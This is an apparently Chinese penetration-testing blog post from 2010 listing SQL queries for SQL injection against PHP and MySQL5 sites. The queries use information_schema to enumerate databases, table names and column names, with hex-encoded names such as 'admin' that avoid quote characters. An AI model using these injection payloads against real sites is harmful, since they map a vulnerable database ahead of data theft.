首页 > 渗透测试 > php+mysql5注射列数据库某数据库的表名和某数据库某表的字段名

php+mysql5注射列数据库某数据库的表名和某数据库某表的字段名

2010年3月30日 xion  1,458 views 发表评论 阅读评论

因为mysql5有information_schema数据库。就以前好像在哪看到过,今天自己找了下在information_schema.tables和information_schema.columns有个TABLE_SCHEMA变量可以限制数据库而非SCHEMA_NAME,记一下。
列数据库:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA;
列某数据库的表名:
select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=0x73716c696e;
列当前数据库的表名:
select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database();
列某数据库某表的字段名:
select group_concat(column_name) from information_schema.columns where table_name=0x61646d696e and TABLE_SCHEMA=0x73716c696e;

分类: 渗透测试 标签: , ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.